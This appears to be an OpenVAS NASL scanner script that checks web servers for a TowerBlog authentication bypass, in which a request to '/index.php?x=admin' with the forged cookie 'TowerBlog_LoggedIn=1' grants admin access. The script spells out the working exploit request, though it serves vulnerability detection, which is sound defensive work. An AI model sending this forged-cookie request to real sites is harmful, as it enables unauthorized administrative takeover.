TowerBlog Admin Bypass

# SPDX-FileCopyrightText: 2005 Noam Rathaus
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.18015");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("TowerBlog Admin Bypass");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2005 Noam Rathaus");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://www.securiteam.com/unixfocus/5VP0G0KFFK.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/13090");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"The remote host is running TowerBlog, a single-user content management
  system, written in PHP.

  Due to design error, an attacker may be granted administrative privileges by requesting the page
  '/?x=admin' while setting a cookie whose value is 'TowerBlog_LoggedIn=1'.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) )
  exit( 0 );

host = http_host_name( port:port );

cookie = "TowerBlog_LoggedIn=1";

foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = dir + "/index.php?x=admin";

  req = string( "GET ", url, " HTTP/1.1\r\n",
                "Host: ", host, "\r\n",
                "Cookie: ", cookie, "\r\n",
                "\r\n" );
  res = http_keepalive_send_recv( port:port, data:req );

  if( '<title>TowerBlog &gt;&gt; admin</title>' >< res ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );